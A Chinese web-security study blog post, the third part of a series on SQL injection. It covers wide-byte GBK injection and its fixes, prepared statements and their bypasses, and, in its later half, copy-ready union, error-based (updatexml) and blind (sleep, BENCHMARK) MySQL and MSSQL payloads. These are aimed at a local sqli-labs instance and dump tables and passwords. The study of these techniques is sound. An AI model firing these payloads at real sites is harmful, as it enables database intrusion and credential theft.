Web安全学习笔记 SQL注入下

繁枝插云欣 ——ICML8


  1. SQL注入小技巧
  2. CheatSheet
  3. 预编译
  4. 参考文章
  5. 一点心得

一.SQL注入小技巧

1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

漏洞发生的原因是执行了

set character_set_client = 'gbk';

之后,mysql就会认为客户端传过来的数据是gbk编码的

从而使用gbk去解码

而mysql_real_escape是在解码前执行的

但是直接用set names 'gbk'的话

real_escape是不知道设置的数据的编码的

就会加 %5c

此时server拿到数据解码

就认为提交的字符+%5c是gbk的一个字符

这样就产生漏洞了

解决的办法有三种:

第一种是把client的charset设置为binary
就不会做一次解码的操作

第二种是是 mysql_set_charset('gbk')
这里就会把编码的信息保存在和数据库的连接里面
就不会出现这个问题了

第三种就是用pdo
还有一些其他的编码技巧
比如latin会弃掉无效的unicode
那么admin%32在代码里面不等于admin
在数据库比较会等于admin

二.CheatSheet

此SQL注入备忘单包含有用语法的示例

可用于执行执行SQL注入攻击时经常出现的各种任务

此处省略较多内容,后期补充一个

https://blog.csdn.net/weixin_43047908/article/details/115556798

三.预编译

1. 简介

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

2. 模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

3. 绕过

3.1. 预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

3.2. 部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

3.3. 预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。


四.参考文章

1. Tricks

sqlmap time based inject 分析

https://www.freebuf.com/column/168112.html

SQLInjectionWiki

http://sqlwiki.radare.cn/#/

常见数据库写入Webshell汇总

https://mp.weixin.qq.com/s/BucCNyCmyATdRENZp0AF2A

MSSQL数据库攻击实战指北

https://mp.weixin.qq.com/s/uENvpPan7aVd7MbSoAT9Dg

2. Bypass

SQL注入ByPass的一些小技巧

https://mp.weixin.qq.com/s/fSBZPkO0-HNYfLgmYWJKCg

Waf Bypass之道

https://xz.aliyun.com/t/368

MySQL Bypass Wiki

https://blog.csdn.net/weixin_44825990/article/details/122009176

3. NoSQL

NoSQL注入的分析和缓解

https://blog.51cto.com/u_15127672/2804916

NoSQL注入

https://mp.weixin.qq.com/s/tG874LNTIdiN7MPtO-hovA

五.一点心得

SQL注入漏洞

手注心得

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/

查询用

http://sqlwiki.radare.cn/

mysql数字型手注

字符型和数字的注入基本一样

(下面直接演示数字型)

只是字符的需要闭合前面的一条sql

常见的闭合就是

'
"
')
'')

有时还需要注释后面的一些sql 可以使用

--+
# 在url里面需要编码为 %23
判断字段
?id=1 and 1=1 order by 1
回显点判断
?id=1 and 1=2 union select 1,2
当前库
?id=1 and 1=2 union select 1,database()
当前用户
?id=1 and 1=2 union select 1,user()
当前版本
?id=1 and 1=2 union select 1,version()
爆表
?id=1 and 1=2 union select 1,table_name from information_schema.tables where
table_schema=database() limit 0,1
当前表字段名
用limit进行查询
?id=1 and 1=2 union select 1,column_name from information_schema.columns where
table_schema=database() and table_name='admin' limit 0,1
获取数据
?id=1 and 1=2 union select 1,password from admin limit 0,1

mysql报错注入

在不能联合注入的时候就需要用到它

有十种报错函数
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
爆库:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
(schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
(table_name),0x7e) from information_schema.tables where table_schema='security'
limit 3,1),1) -- +

爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
(column_name),0x7e) from information_schema.columns where table_name=0x7573657273
limit 2,1),1) -- +

爆数据:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e,
password,0x7e) from users limit 1,1),1) -- +

mysql盲注

  1. 时间盲注

  2. 布尔盲注

可以用二分,dnslog,等等可以加快注入

工具

https://github.com/ADOOO/DnslogSqlinj

时间盲注也叫延时注入

一般用到函数 sleep() BENCHMARK()

一般时间盲注我们还需要使用条件判断函数 if(expre1,expre2,expre3)

当expre1为true时,返回expre2,false时,返回expre3 盲注的同时

也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等

select * from users where id =1 and if((substr((select
user()),1,1)='r'),sleep(5),1);

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有

ascii() hex() 等等 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

select * from users where id =1 and if((substr((select
user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);

盲注思路的思路很多 比如正则匹配,比较函数,运算符, 推荐大家可以看看

https://www.anquanke.com/

简单来说就是通过函数看返回true还是false

1.直接通过字符串截取对比,类似函数很多后面做个总结吧

http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +

2.用 IFNULL() 函数

http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((selectuser()),1,1)='r'),0) -- +

3.使用 比较函数 strcmp()

1.
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((selectuser()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((selectuser()),1,1)='r'),0) -- +

2.
mysql> select * from users where id =1 and 0=strcmp((substr((selectuser()),1,1)),'o');
Empty set (0.00 sec)
mysql> select * from users where id =1 and 0=strcmp((substr((select
user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mssql手注

参考

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

查询基本信息

and @@version>~1
and (user|1)>-1
and (db_name()|1)>.1

判断当前表名和列名

也可以使用 having 1=1 和 group by

http://192.168.130.137/1.aspx?id=1 having 1=1

爆出当前表和字段

http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1

爆出所有的字段



Web安全学习笔记 SQL注入下的更多相关文章

  1. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  2. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  3. Web安全学习笔记——SQL注入

    一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...

  4. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  5. Web安全攻防笔记-SQL注入

    information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库) information_schema的三个表: SCHEMAT ...

  6. ASP.NET MVC Web API 学习笔记---第一个Web API程序

    http://www.cnblogs.com/qingyuan/archive/2012/10/12/2720824.html GetListAll /api/Contact GetListBySex ...

  7. ASP.NET Core Web开发学习笔记-1介绍篇

    ASP.NET Core Web开发学习笔记-1介绍篇 给大家说声报歉,从2012年个人情感破裂的那一天,本人的51CTO,CnBlogs,Csdn,QQ,Weboo就再也没有更新过.踏实的生活(曾辞 ...

  8. 【前端】移动端Web开发学习笔记【2】 & flex布局

    上一篇:移动端Web开发学习笔记[1] meta标签 width设置的是layout viewport 的宽度 initial-scale=1.0 自带 width=device-width 最佳实践 ...

  9. 【前端】移动端Web开发学习笔记【1】

    下一篇:移动端Web开发学习笔记[2] Part 1: 两篇重要的博客 有两篇翻译过来的博客值得一看: 两个viewport的故事(第一部分) 两个viewport的故事(第二部分) 这两篇博客探讨了 ...

随机推荐

  1. java-Map集合hei

    /* Map集合的特点: Map集合市一个双列集合,一个元素包含两个值:一个key,一个value Map集合中的元素,key和value的数据类型可以相同,也可以不同 Map集合中的元素,key不允 ...

  2. js获取元素本身相关值

    Element.getBoundingClientRect()方法返回元素的大小及其相对于视口的位置. getClientRects() 方法返回的一组矩形的集合, 即:是与该元素相关的CSS 边框集 ...

  3. 什么是微服务架构中的 DRY?

    DRY 代表不要重复自己.它基本上促进了重用代码的概念.这导致开发和共享库, 这反过来导致紧密耦合.

  4. 区分构造函数注入和 setter 注入?

    构造函数注入 setter 注入 没有部分注入 有部分注入 不会覆盖 setter 属性 会覆盖 setter 属性 任意修改都会创建一个新实例 任意修改不会创建一个新实例 适用于设置很多属性 适用于 ...

  5. Python - list、tuple类型

  6. 更改IE中的jdk版本

    一丶打开IE设置: 快捷键:Ctrl+Shift+Alt+S 二丶在设置中调设已经安装的jdk版本(前提已安装):

  7. MOS管驱动电路,看这里就啥都懂了

    一.MOS管驱动电路综述在使用MOS管设计开关电源或者马达驱动电路的时候,大部分人都会考虑MOS的导通电阻,最大电压等,最大电流等,也有很多人仅仅考虑这些因素.这样的电路也许是可以工作的,但并不是优秀 ...

  8. 五款轻量型bug管理工具横向测评

    五款轻量型bug管理工具横向测评 最近正在使用的本地bug管理软件又出问题了,已经记不清这是第几次了,每次出现问题都要耗费大量的时间精力去网上寻找解决方案,劳心劳力.为了避免再次出现这样的情况,我决定 ...

  9. 文件上传——IIS6.0解析漏洞

    介绍 IIS6.0漏洞可分为目录漏洞和文件漏洞 目录漏洞 访问*.asp格式命令的文件夹下的文件,都会被当成asp文件执行 文件漏洞 畸形文件命名 123.asp -> 123.asp;.txt ...

  10. eclipse 执行main方法 错误: 找不到或无法加载主类

    检查环境变量是否正确 JAVA_HOME JAVA的实际安装目录 CLASSPATH .;%JAVA_HOME%\lib;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\ ...